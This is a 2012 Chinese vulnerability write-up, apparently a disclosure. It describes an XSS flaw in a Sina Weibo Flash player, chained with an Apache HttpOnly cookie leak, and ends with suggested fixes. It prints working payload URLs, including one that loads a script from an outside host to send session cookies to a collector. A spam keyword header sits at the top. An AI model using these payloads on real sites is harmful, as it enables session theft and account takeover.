亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

新浪微博COOKIES盜取[flash編程安全+apache http-only cookie 泄漏利用]

  發(fā)布時(shí)間:2012-06-29 16:04:37   作者:gainover   我要評(píng)論
最近突然覺(jué)得,很多FLASH開(kāi)發(fā)人員在編寫的時(shí)候,忽視了安全問(wèn)題。被惡意利用的話,可以實(shí)現(xiàn)URL跳轉(zhuǎn),COOKIES盜取,甚至是蠕蟲攻擊。

最近突然覺(jué)得,很多FLASH開(kāi)發(fā)人員在編寫的時(shí)候,忽視了安全問(wèn)題。被惡意利用的話,可以實(shí)現(xiàn)URL跳轉(zhuǎn),COOKIES盜取,甚至是蠕蟲攻擊。
漏洞測(cè)試:IE , firefox , chrome(= = 這個(gè)輸入測(cè)試代碼,瀏覽器直接崩潰了)
漏洞成因
1. 首先說(shuō)的是FLASH編程安全問(wèn)題:
一些編程人員,對(duì)于loaderInfo.parameters 所傳入的參數(shù)都不會(huì)嚴(yán)格過(guò)濾,甚至很多開(kāi)發(fā)人員都有把Javascript函數(shù)名作為參數(shù)傳入的習(xí)慣。
而事實(shí)證明,新浪的開(kāi)發(fā)人員也有類似的習(xí)慣。
2. 首先google 了一下inurl:(swf) site:weibo.com ,將搜索結(jié)果中的SWF全部下載下來(lái)。 用ASV全部反編一下,得到若干txt文件,每個(gè)FLASH一個(gè)。
3. 漏洞利用條件: 有parameters, 有ExternalInterface.call。 我們以此2個(gè)關(guān)鍵詞搜索上面得到的txt文件。
4. 最終鎖定一個(gè)目標(biāo)。http://tw.weibo.com/_common/jwplayer/player.swf
5. 其漏洞源碼如下:

復(fù)制代碼
代碼如下:

//加載外部參數(shù)
this.loadFlashvars(RootReference.root.loaderInfo.parameters);
//寫入?yún)?shù)
this.setConfigParam(param, params[param]);
//繼續(xù),可以看到參數(shù)寫到了_config 里
this._config[_arg1.toLowerCase()] = Strings.serialize(Strings.trim(_arg2));
//再搜索ExternalInterface.call,找到以下位置
var callbacks:* = (_player.config.playerready) ? ((_player.config.playerready + ",") + "playerReady") : "playerReady";
if (ExternalInterface.available){
for each (callback in callbacks.replace(/\s/, "").split(",")) {
try {
ExternalInterface.call(callback, {id:evt.id, client:evt.client, version:evt.version});
} catch(e:Error) {
};
};
clearQueuedEvents();
};

//可以看出call<--callback<--callbacks<---_player.config.playerready
6. 基于以上分析,我們可以很容易構(gòu)造出利用代碼。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){alert('xxx');})
7. 但是這樣的代碼,還不足以構(gòu)成危害。 頂多就是一個(gè)URL跳轉(zhuǎn)。 連cookies都是獲取不到的。如以下代碼,將返回[拒絕訪問(wèn)]的錯(cuò)誤。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){try{alert(document.cookie)}catch(e){alert(e.description)}})
8. 突破限制,獲取cookies。
正好昨天在百度javascript吧看到一片帖子href,src的妙用(http://tieba.baidu.com/p/1583718448)。正好拿來(lái)突破這種限制了。
(廣告一下,喜歡javascript的可以經(jīng)常來(lái)玩玩??!)。
利用文章中所講技巧,構(gòu)造以下代碼:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script>alert(document.cookie)</script>"'})
9. 從上面可以看出,彈出weibo.com的cookies里。但是當(dāng)我拿這個(gè)cookies來(lái)發(fā)送微博的時(shí)候,發(fā)現(xiàn)不成功。 比較了一下獲取的cookies,發(fā)現(xiàn)SUS,SUE兩個(gè)值是http-only的,也就是document.cookie得不到的。
10. 前些天看到有人發(fā)騰訊的apache cookie 泄漏漏洞,結(jié)果因?yàn)闆](méi)有漏洞利用場(chǎng)景被忽略了。看了下tw.weibo.com的HTTP頭,正好是apache的,我們這里可以嘗試用一用了?。?br />從exploit-db下載了利用的JS,做了點(diǎn)小修改。如下,保存為http://appmaker.sinaapp.com/test3.js
11. 構(gòu)造以下利用代碼,調(diào)用上面這個(gè)JS文件。代碼中的test.php為接收cookies的文件。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script/src=\'//appmaker.sinaapp.com\/test3.js\'></script>"'})
編碼一下,可以發(fā)到微博:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest3.js%5C'%3E%3C%2Fscript%3E%22'%7D)
12. 結(jié)果表明該服務(wù)器存在apache cookies泄漏漏洞,效果見(jiàn)漏洞證明。
------------------------------------------------------------
總結(jié):
1. FLASH的編寫安全不容忽視,實(shí)際上,我找到了10多個(gè)FLASH中,有2個(gè)FLASH可以被利用到。這說(shuō)明這種漏洞不是偶然,而是被開(kāi)發(fā)者忽略掉的一個(gè)問(wèn)題。
另外一個(gè)不在weibo.com的域名下。提供給你們一起修復(fù)下吧!
http://js.t.sinajs.cn/t4/home/static/swf/img/SinaCollage.swf?JSHandler=(function(){alert('xxx')})
2. 本流程為apache cookies泄漏漏洞的利用,提供了一個(gè)利用場(chǎng)景。
漏洞證明:
1. 微博寫入鏈接:

2. 點(diǎn)擊鏈接后,抓包,見(jiàn)圖
A. Apache cookies 泄漏圖,其中包含有document.cookie無(wú)法獲取到的SUS,SUE
B. 可以看到Cookies被轉(zhuǎn)發(fā)到我們指定的PHP文件中。
3. 利用Cookies在SAE發(fā)送微博失敗。。 提示是
“抱歉,你當(dāng)前使用的賬號(hào)、IP或應(yīng)用由于違反了新浪微博的安全檢測(cè)規(guī)則,暫時(shí)無(wú)法完成此操作啦。你可以綁定手機(jī)來(lái)取消此限制,如有問(wèn)題@微博客服反饋。” 可能做了某些其他限制。
修復(fù)方案:
1. 審查已上線的FLASH文件代碼,嚴(yán)格控制FLASH文件參數(shù)的輸入
2. apache的漏洞給打補(bǔ)丁。
 

相關(guān)文章

最新評(píng)論